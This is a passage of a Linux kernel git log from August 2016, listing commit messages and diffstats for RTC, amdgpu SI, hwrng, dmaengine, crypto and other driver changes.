7922118f8f3e76eb6534e9221a6c9f496c0ae699 Author: LABBE Corentin Date: Tue Aug 16 15:53:18 2016 +0200 memory: atmel-sdramc: fix a possible NULL dereference of_match_device could return NULL, and so cause a NULL pointer dereference later. For fixing this problem, we use of_device_get_match_data(), this will simplify the code a little by using a standard function for getting the match data. Signed-off-by: LABBE Corentin Signed-off-by: Alexandre Belloni drivers/memory/atmel-sdramc.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 50a6edb1b6e08643442386e8f81acc8123d17931 Author: Akinobu Mita Date: Sun Aug 28 23:52:49 2016 +0900 iio: adc: add ADC12130/ADC12132/ADC12138 ADC driver This adds Texas Instruments' ADC12130/ADC12132/ADC12138 12-bit plus sign ADC driver. I have tested with the ADC12138. The ADC12130 and ADC12132 are not tested but these are similar to ADC12138 except that the mode programming instruction is a bit different. Signed-off-by: Akinobu Mita Acked-by: Rob Herring Cc: Jonathan Cameron Cc: Hartmut Knaack Cc: Lars-Peter Clausen Cc: Peter Meerwald Signed-off-by: Jonathan Cameron .../devicetree/bindings/iio/adc/ti-adc12138.txt | 37 ++ drivers/iio/adc/Kconfig | 12 + drivers/iio/adc/Makefile | 1 + drivers/iio/adc/ti-adc12138.c | 552 +++++++++++++++++++++ 4 files changed, 602 insertions(+) commit 97dd82682f1a6174698fbea149a04b4cabc58c4f Author: Lin Huang Date: Mon Aug 22 11:36:17 2016 +0800 soc: rockchip: add header for ddr rate SIP interface Add a header for the SIP interface defined to access the dcf controller handling ddr rate changes on rk3399 (and most likely later socs). This interface is shared between the clock driver as well as the devfreq driver. The SIP interface counterpart was merged from pull-request #684 [0] into the upstream arm-trusted-firmware codebase. [0] https://github.com/ARM-software/arm-trusted-firmware/pull/684 Signed-off-by: Lin Huang Signed-off-by: Heiko Stuebner include/soc/rockchip/rockchip_sip.h | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit 3a402a709500c5a3faca2111668c33d96555e35a Author: Will Deacon Date: Fri Aug 26 11:36:39 2016 +0100 arm64: debug: avoid resetting stepping state machine when TIF_SINGLESTEP When TIF_SINGLESTEP is set for a task, the single-step state machine is enabled and we must take care not to reset it to the active-not-pending state if it is already in the active-pending state. Unfortunately, that's exactly what user_enable_single_step does, by unconditionally setting the SS bit in the SPSR for the current task. This causes failures in the GDB testsuite, where GDB ends up missing expected step traps if the instruction being stepped generates another trap, e.g. PTRACE_EVENT_FORK from an SVC instruction. This patch fixes the problem by preserving the current state of the stepping state machine when TIF_SINGLESTEP is set on the current thread. Cc: Reported-by: Yao Qi Signed-off-by: Will Deacon arch/arm64/kernel/debug-monitors.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 650097cdc4ce72f40bceddcd7c7512c7099fa902 Author: Geert Uytterhoeven Date: Wed Aug 31 11:41:22 2016 +0200 net: wan: sbni: Spelling s/acknoweledge/acknowledge/, Grammar Signed-off-by: Geert Uytterhoeven Signed-off-by: David S. Miller drivers/net/wan/sbni.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 637cac7c139f6433506f38aca85c2bf37ff64787 Author: Chen-Yu Tsai Date: Fri Aug 19 15:42:23 2016 +0800 rtc: ac100: support clock-output-names in device tree binding The ac100 device tree binding specifies the usage of clock-output-names to specify the names of its 3 clock outputs. This is needed for orphan clock resolution, when the ac100 is probed much later than any clocks that consume any of its outputs. This wasn't supported by the driver. Add support for this. Signed-off-by: Chen-Yu Tsai Signed-off-by: Alexandre Belloni drivers/rtc/rtc-ac100.c | 2 ++ 1 file changed, 2 insertions(+) commit c1ab0e9cf94f52abe59cb63358518dac29b5b101 Author: Julia Lawall Date: Wed Aug 31 09:30:48 2016 +0200 net: systemport: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bcmsysport.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 777065e5ada22d3ae2fac62f9084d38f494bc1fe Author: Julia Lawall Date: Wed Aug 31 09:30:47 2016 +0200 dwc_eth_qos: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/ethernet/synopsys/dwc_eth_qos.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc6f0136346a344a3fb328d3d16e954b2b6544b4 Author: Julia Lawall Date: Wed Aug 31 09:30:46 2016 +0200 net: hisilicon: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hip04_eth.c | 2 +- drivers/net/ethernet/hisilicon/hisi_femac.c | 2 +- drivers/net/ethernet/hisilicon/hix5hd2_gmac.c | 2 +- drivers/net/ethernet/hisilicon/hns/hns_ethtool.c | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 70591ab96e42fa4a540499b0befdfd2460556d9b Author: Julia Lawall Date: Wed Aug 31 09:30:45 2016 +0200 net: bcmgenet: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/genet/bcmgenet.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1eff7002e3220c2814213b3699ad8a3e41c2a422 Author: Julia Lawall Date: Wed Aug 31 09:30:44 2016 +0200 net: ethernet: et131x: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Mark Einon Signed-off-by: David S. Miller drivers/net/ethernet/agere/et131x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1bc40cb1ccbc7e33622a1fd2a8a37f311e64d4fc Author: Alexandre Belloni Date: Mon Aug 15 17:04:42 2016 +0200 rtc: rx6110: remove owner assignment .owner is already set by the spi core. Signed-off-by: Alexandre Belloni drivers/rtc/rtc-rx6110.c | 1 - 1 file changed, 1 deletion(-) commit e545b984f0225244505b5e0605070bfc6099f475 Author: Markus Elfring Date: Mon Aug 15 10:52:47 2016 +0200 rtc: pic32: Delete owner assignment The field "owner" is set by core. Thus delete an extra initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Alexandre Belloni drivers/rtc/rtc-pic32.c | 1 - 1 file changed, 1 deletion(-) commit 421a5ba24b3ef23b8972a6c238bd300abef532da Author: Jan Östlund Date: Thu Aug 11 13:31:44 2016 +0200 rtc: bq32k: Fix handling of oscillator failure flag While the oscillator failure flag is set, the RTC registers should be considered invalid. bq32k_rtc_read_time() now returns an error instead of an invalid time. The failure flag is cleared the next time the clock is set. Signed-off-by: Jan Östlund Signed-off-by: Daniel Romell Signed-off-by: Alexandre Belloni drivers/rtc/rtc-bq32k.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 6ed1a51e0b8a981ab0540117f0c47c1f11fca5fa Author: Jan Östlund Date: Thu Aug 11 13:31:43 2016 +0200 rtc: bq32k: Use correct mask name for 'minutes' register. The BQ32K_SECONDS_MASK and BQ32K_MINUTES_MASK both has the same value. This is no functional change. Signed-off-by: Jan Östlund Signed-off-by: Daniel Romell Signed-off-by: Alexandre Belloni drivers/rtc/rtc-bq32k.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 84281c2d72a70456a3ba8d1e49548dd469f2e9d8 Author: LABBE Corentin Date: Fri Aug 12 14:46:14 2016 +0200 rtc: sysfs: fix a cast removing the const attribute The char pointer buf_ptr is assigned an address from a const char pointer buf (parameter of wakealarm_store). The data pointer by buf_ptr is never modified. So casting it to a (char *) is useless. This patch remove this cast, and transform buf_ptr to a const char pointer. Signed-off-by: LABBE Corentin Signed-off-by: Alexandre Belloni drivers/rtc/rtc-sysfs.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bbeb9787d9a258bc55dfd40bb37e2a87962bbe8b Author: Alexandre Belloni Date: Wed Jul 13 02:48:59 2016 +0200 Documentation: dt: Intersil isl12057 is not a trivial device The ISL12057 has a documentation file, remove it from trivial-devices.txt Signed-off-by: Alexandre Belloni Documentation/devicetree/bindings/i2c/trivial-devices.txt | 1 - 1 file changed, 1 deletion(-) commit e8aa7dcbf0b1fdd79127b125d2369bca7bdb5b03 Author: Alexandre Belloni Date: Wed Jul 13 02:39:54 2016 +0200 rtc: isl12057: remove driver The Intersil isl12057 is now supported by the ds1307 driver. Acked-by: Arnaud Ebalard Signed-off-by: Alexandre Belloni drivers/rtc/Kconfig | 10 - drivers/rtc/Makefile | 1 - drivers/rtc/rtc-isl12057.c | 643 --------------------------------------------- 3 files changed, 654 deletions(-) commit 78aaa06d7956dc4cd42fff5033f4bf6fafcbc79f Author: Alexandre Belloni Date: Wed Jul 13 02:36:41 2016 +0200 rtc: ds1307: add Intersil ISL12057 support Intersil ISL12057 is a drop-in replacement for DS1337. It can be supported by the ds1307 driver. Acked-by: Arnaud Ebalard Signed-off-by: Alexandre Belloni drivers/rtc/Kconfig | 8 ++++---- drivers/rtc/rtc-ds1307.c | 6 ++++++ 2 files changed, 10 insertions(+), 4 deletions(-) commit 50d6c0ea8111100a102c03b4410ba1e45fa8b771 Author: Alexandre Belloni Date: Wed Jul 13 02:26:08 2016 +0200 rtc: ds1307: fix century bit support Add an option to properly support the century bit of ds1337 and compatibles and ds1340. Because the driver had a bug until now, it is not possible to switch users to the fixed code directly as RTCs in the field will wrongly have the century bit set. Acked-by: Arnaud Ebalard Signed-off-by: Alexandre Belloni drivers/rtc/Kconfig | 14 ++++++++++++++ drivers/rtc/rtc-ds1307.c | 48 +++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 57 insertions(+), 5 deletions(-) commit 59e5e70c9516a0ba34dd5a1a44ed89518cd5eda9 Author: Fabio Estevam Date: Wed Aug 3 00:48:22 2016 -0300 rtc: ds1390: Fix the SPI chip select number The number after the '@' symbol should be the SPI chip select number associated with the ds1390 and it should match the 'reg' field. So change it the address to zero, to make it consistent. Signed-off-by: Fabio Estevam Signed-off-by: Alexandre Belloni Documentation/devicetree/bindings/rtc/dallas,ds1390.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 83ab7dad06b74e390c2ce0e7b5136daf286e1f5e Author: Christophe JAILLET Date: Tue Aug 9 13:58:27 2016 +0200 rtc: pcf2123: Add missing error code assignment before test It is likely that checking the result of 'pcf2123_write_reg' is expected here. Also fix a small style issue. The '{' at the beginning of the function is misplaced. Fixes: 809b453b76e15 ("rtc: pcf2123: clean up writes to the rtc chip") Signed-off-by: Christophe JAILLET Signed-off-by: Alexandre Belloni drivers/rtc/rtc-pcf2123.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 7fbdfcd68783679f35fa99df948258cb3e828cd1 Author: Lin Huang Date: Mon Aug 22 11:36:18 2016 +0800 clk: rockchip: add SCLK_DDRC id for rk3399 ddrc Add the needed id for the ddr clock. Signed-off-by: Lin Huang Signed-off-by: Heiko Stuebner include/dt-bindings/clock/rk3399-cru.h | 1 + 1 file changed, 1 insertion(+) commit a37b7a5a86d5455d9b1dc840de1946312fa51b23 Author: Milo Kim Date: Wed Aug 31 17:25:18 2016 +0900 ARM: dts: sun8i: Add PWM controller node in H3 Acked-by: Chen-Yu Tsai Signed-off-by: Milo Kim Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-h3.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit 33f34802686c8bcfd236e085208ea6338d220251 Author: Ken Wang Date: Thu Jan 21 17:29:41 2016 +0800 drm/amdgpu: add si ip blocks setup v3 Reviewed-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit a036db18c61d9a8ae6619cbb3dca8b1f2df68103 Author: Ken Wang Date: Tue Jan 19 14:19:53 2016 +0800 drm/amdgpu: add all the components for si into Makefile/kconfig v3 Reviewed-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/Kconfig | 7 +++++++ drivers/gpu/drm/amd/amdgpu/Makefile | 2 ++ 2 files changed, 9 insertions(+) commit 36b9a952bbf6881eef9e0f1920d6ce354c195553 Author: Huang Rui Date: Wed Aug 31 13:23:25 2016 +0800 drm/amdgpu: introduce pcie port read/write entry This patch adds pcie port read/write entry, because it will be also used on si dpm part. Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 4 ++ drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 2 + drivers/gpu/drm/amd/amdgpu/si.c | 106 +++++++++++++++-------------- 3 files changed, 60 insertions(+), 52 deletions(-) commit 62a37553414a344491c64e8fd89577dcc1b8bcbb Author: Ken Wang Date: Tue Jan 19 14:08:49 2016 +0800 drm/amdgpu: add si implementation v10 v5: rebase fixes v6: add mgcg arrays v7: rebase fixes v8: rebase fixes v9: add get_disabled_bios(), make get_xclk static v10: fix oland and hainan asic specific handle at si_program_aspm Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si.c | 1963 +++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/si.h | 33 + drivers/gpu/drm/amd/include/asic_reg/si/sid.h | 45 + 3 files changed, 2041 insertions(+) commit 30d1574fa4c71cf390ae4af57585a850612db8f7 Author: Ken Wang Date: Tue Jan 19 14:05:23 2016 +0800 drm/amdgpu: add DMA implementation for si v8 v4: rebase fixes v5: use the generic nop fill v6: rebase fixes v7: rebase fixes copy count fixes from Jonathan general cleanup add fill buffer implementation v8: adapt write_pte and copy_pte to latest changes Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 4 + drivers/gpu/drm/amd/amdgpu/si_dma.c | 917 ++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/si_dma.h | 29 + drivers/gpu/drm/amd/include/asic_reg/si/sid.h | 2 + 4 files changed, 952 insertions(+) commit 2cd46ad22383ab8372b86cdb5257589496099412 Author: Ken Wang Date: Tue Jan 19 14:04:28 2016 +0800 drm/amdgpu: add graphic pipeline implementation for si v8 v5: rebase fixes v6: rebase fixes v7: rebase fixes fix tile reg offset as noticed by Jonathan Drop some debugging remnants v8: add gfx v6 firmware versions for sysfs dump Acked-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 3288 +++++++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/gfx_v6_0.h | 29 + 2 files changed, 3317 insertions(+) commit 098e4b6a908bd773bf30286c80b562e0150f8feb Author: Ken Wang Date: Tue Jan 19 15:07:29 2016 +0800 drm/amdgpu: atombios change for dce6 to work v3 v3: white space fixes Reviewed-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/atombios_crtc.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit e2cdf640cbb5b7d6643e1c8ad54bf3bfc99d4d48 Author: Ken Wang Date: Tue Jan 19 14:03:24 2016 +0800 drm/amdgpu: add display controller implementation for si v10 v4: rebase fixups v5: more fixes based on dce8 code v6: squash in dmif offset fix v7: rebase fixups v8: rebase fixups, drop some debugging remnants v9: fix BE build v10: include Marek's tiling fixes, add support for page_flip_target, set MASTER_UDPATE_MODE=0, fix cursor Acked-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 3160 +++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/dce_v6_0.h | 29 + drivers/gpu/drm/amd/include/asic_reg/si/sid.h | 37 +- 3 files changed, 3193 insertions(+), 33 deletions(-) commit 27ae10641e9c99f32db004cc54cb0639cd58d6d1 Author: Ken Wang Date: Tue Jan 19 14:02:14 2016 +0800 drm/amdgpu: add interupt handler implementation for si v3 v3: rebase fixups Reviewed-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_ih.c | 313 +++++++++++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/si_ih.h | 29 ++++ 2 files changed, 342 insertions(+) commit df70502eef80be23e9eab6c916aeb91b460211e9 Author: Ken Wang Date: Tue Jan 19 14:01:19 2016 +0800 drm/amdgpu: add graphic memory controller implementation for si v7 v4: rebase fixups v5: rebase fixups v5: rebase fixups v6: rebase fixups for gart size changes v7: add gmc v6 firmware versions for sysfs dump Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gmc_v6_0.c | 1071 +++++++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/gmc_v6_0.h | 29 + 2 files changed, 1100 insertions(+) commit 0f27e46258ee73e2fd149f91cb176475ce9b7537 Author: Ken Wang Date: Tue Jan 19 13:53:10 2016 +0800 drm/amdgpu: add si header files v4 v4: drop unused DCE6 macro Acked-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher .../drm/amd/include/asic_reg/si/clearstate_si.h | 941 ++++++++ drivers/gpu/drm/amd/include/asic_reg/si/si_reg.h | 105 + drivers/gpu/drm/amd/include/asic_reg/si/sid.h | 2408 ++++++++++++++++++++ 3 files changed, 3454 insertions(+) commit 793ae66c7dcc7e6655029f6613221a111b15b58e Author: Sinan Kaya Date: Wed Aug 31 11:10:29 2016 -0400 dmaengine: qcom_hidma: add error reporting for tx_status The HIDMA driver is capable of error detection. However, the error was not being passed back to the client when tx_status API is called. Changing the error handling behavior to follow this oder. 1. dmaengine asserts error interrupt 2. Driver receives and mark's the txn as error 3. Driver completes the txn and intimates the client. No further submissions. Drop the locks before calling callback, as subsequent processing by client maybe in callback thread. 4. Client invokes status and you can return error 5. On error, client calls terminate_all. You can reset channel, free all descriptors in the active, pending and completed lists 6. Client prepares new txn and so on. As part of this work, got rid of the reset in the interrupt handler when an error happens and the HW is put into disabled state. The only way to recover is for the client to terminate the channel. Signed-off-by: Sinan Kaya Signed-off-by: Vinod Koul drivers/dma/qcom/hidma.c | 30 +++++++++++++++++++++++++----- drivers/dma/qcom/hidma.h | 2 +- drivers/dma/qcom/hidma_ll.c | 32 +++++++------------------------- 3 files changed, 33 insertions(+), 31 deletions(-) commit 55c370e5198e8cf28b1529299e9c1bfe237c9c1e Author: Sinan Kaya Date: Wed Aug 31 11:10:28 2016 -0400 dmaengine: qcom_hidma: report transfer errors with new interface Pass the DMA errors to the client by passing a result argument. The HW only supports a generic error when something goes wrong. That's why, using DMA_TRANS_ABORTED all the time. Signed-off-by: Sinan Kaya Signed-off-by: Vinod Koul drivers/dma/qcom/hidma.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 8a31f8b5db65b860fd0d358dc27f6daf26074406 Author: Sinan Kaya Date: Wed Aug 31 11:10:27 2016 -0400 dmaengine: qcom_hidma: release the descriptor before the callback There is a race condition between data transfer callback and descriptor free code. The callback routine may decide to clear the resources even though the descriptor has not yet been freed. Instead of calling the callback first and then releasing the memory, this code is changing the order to return the descriptor back to the free pool and then call the user provided callback. Signed-off-by: Sinan Kaya Signed-off-by: Vinod Koul drivers/dma/qcom/hidma.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit fdea2d09b997ba4c86e7a707a5fac87c305f2131 Author: Tony Lindgren Date: Wed Aug 31 07:19:59 2016 -0700 dmaengine: cppi41: Add basic PM runtime support Let's keep the device enabled between cppi41_dma_issue_pending() and dmaengine_desc_get_callback_invoke() and rely on the PM runtime autoidle timeout elsewhere. As the PM runtime is for whole device, not for each channel, we need to queue pending transfers if the device is PM runtime suspended. Then we start the pending transfers in PM runtime resume. Signed-off-by: Tony Lindgren Signed-off-by: Vinod Koul drivers/dma/cppi41.c | 104 ++++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 99 insertions(+), 5 deletions(-) commit 8913f343cdb568222c95afe3cad78aee1a4df56b Author: Chao Yu Date: Wed Aug 31 11:44:36 2016 -0400 mbcache: fix to detect failure of register_shrinker register_shrinker in mb_cache_create may fail due to no memory. This patch fixes to do the check of return value of register_shrinker and handle the error case, otherwise mb_cache_create may return with no error, but losing the inner shrinker. Signed-off-by: Chao Yu Reviewed-by: Jan Kara Signed-off-by: Theodore Ts'o fs/mbcache.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 10faa8c0d6c3b22466f97713a9533824a2ea1c57 Author: Stephan Mueller Date: Thu Aug 25 15:15:01 2016 +0200 crypto: FIPS - allow tests to be disabled in FIPS mode In FIPS mode, additional restrictions may apply. If these restrictions are violated, the kernel will panic(). This patch allows test vectors for symmetric ciphers to be marked as to be skipped in FIPS mode. Together with the patch, the XTS test vectors where the AES key is identical to the tweak key is disabled in FIPS mode. This test vector violates the FIPS requirement that both keys must be different. Reported-by: Tapas Sarangi Signed-off-by: Stephan Mueller Signed-off-by: Herbert Xu crypto/testmgr.c | 9 +++++++++ crypto/testmgr.h | 4 ++++ 2 files changed, 13 insertions(+) commit 610e12837425e204d1a3bd0182bcdaff1d660e60 Author: Niklas Cassel Date: Fri Aug 26 00:01:56 2016 +0200 bindings: PCI: artpec: correct pci binding example - Increase config size. When using a PCIe switch, the previous config size only had room for one device. - Add bus range. Inherited optional property. - Map downstream I/O to PCI address 0. We can map it to any address, but let's be consistent with other drivers. Signed-off-by: Niklas Cassel Signed-off-by: Rob Herring Documentation/devicetree/bindings/pci/axis,artpec6-pcie.txt | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 93ba73fed31d0ec96489fedaeef1a1c402f9c8e4 Author: Maksim Lukoshkov Date: Mon Aug 29 13:28:31 2016 +0100 crypto: qat - fix constants table DMA Copy const_tab array into DMA-able memory (accesible by qat hw). Signed-off-by: Maksim Lukoshkov Signed-off-by: Giovanni Cabiddu Signed-off-by: Herbert Xu drivers/crypto/qat/qat_common/adf_admin.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 98a3c465fe987f1e0ae87a50ce980d6560233285 Author: PrasannaKumar Muralidharan Date: Sun Aug 28 14:19:12 2016 +0530 hwrng: tx4939 - Use devm_hwrng_register instead of hwrng_register By using devm_hwrng_register instead of hwrng_register the .remove callback in platform_driver can be removed. This reduces a few lines in code. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Herbert Xu drivers/char/hw_random/tx4939-rng.c | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) commit 68734bc9f58ee01f1b530394cc31d58e364125f6 Author: PrasannaKumar Muralidharan Date: Sat Aug 27 00:02:04 2016 +0530 hwrng: Remove check for max less than 4 bytes HW RNG core never asks for data less than 4 bytes. The check whether max is less than 4 bytes is unnecessary. Remove the check. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Herbert Xu drivers/char/hw_random/meson-rng.c | 3 --- drivers/char/hw_random/st-rng.c | 3 --- 2 files changed, 6 deletions(-) commit 27c4d548af958233e26ab5b00719ff3e49b3aebe Author: Herbert Xu Date: Fri Aug 26 23:19:39 2016 +0800 crypto: xor - Fix warning when XOR_SELECT_TEMPLATE is unset This patch fixes an unused label warning triggered when the macro XOR_SELECT_TEMPLATE is not set. Fixes: 39457acda913 ("crypto: xor - skip speed test if the xor...") Reported-by: Stephen Rothwell Suggested-by: Stephen Rothwell Signed-off-by: Herbert Xu crypto/xor.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 85962d2248fae84ffaa04f09826596d20af56819 Author: Corentin LABBE Date: Fri Aug 26 13:11:36 2016 +0200 hwrng: amd - Convert to new hwrng read() API This patch convert the hwrng interface used by amd768-rng to its new API by replacing data_read()/data_present() by read(). Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 47 ++++++++++++++++++++++++---------------- 1 file changed, 28 insertions(+), 19 deletions(-) commit 3c343a37644c5fe07960c3226a463d98627607f0 Author: Corentin LABBE Date: Fri Aug 26 13:11:35 2016 +0200 hwrng: amd - Access hardware via ioread32/iowrite32 Instead of accessing hw directly via pmbase, it's better to access after ioport_map() via ioread32/iowrite32. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 31 +++++++++++++++++++++++++------ 1 file changed, 25 insertions(+), 6 deletions(-) commit 7bad2cc062b343575f19d5de6be3f297a1429f37 Author: Corentin LABBE Date: Fri Aug 26 13:11:34 2016 +0200 hwrng: amd - Replace global variable with private struct Instead of having two global variable, it's better to use a private struct. This will permit to remove amd_pdev variable Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 57 ++++++++++++++++++++++++++-------------- 1 file changed, 38 insertions(+), 19 deletions(-) commit fdec60d683568c8e79457c106fa6642ca7ae95f3 Author: Corentin LABBE Date: Fri Aug 26 13:11:33 2016 +0200 hwrng: amd - release_region must be called after hwrng_unregister The driver release the memory region before being sure that nobody use it. This patch made hwrng_unregister ran before any release was done. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 055ae890388ad2b02a53d5c3e1f60f976989e34e Author: Corentin LABBE Date: Fri Aug 26 13:11:32 2016 +0200 hwrng: amd - Remove asm/io.h checkpatch complains about used instead of linux/io.h. In fact it is not needed. This patch remove it, and in the process, alphabetize the other headers. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit f8169bfb4955ebb669b49d5d2564b250cdd7aa7b Author: Corentin LABBE Date: Fri Aug 26 13:11:31 2016 +0200 hwrng: amd - Be consitent with the driver name The driver name is displayed each time differently. This patch make use of the same name everywhere. Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 1c335d4487c8988364b68c862324fbb3567d00ee Author: Corentin LABBE Date: Fri Aug 26 13:11:30 2016 +0200 hwrng: amd - use the BIT macro This patch add usage of the BIT() macro Signed-off-by: LABBE Corentin Signed-off-by: Herbert Xu drivers/char/hw_random/amd-rng.c | 6 +++--- 1 file changed, 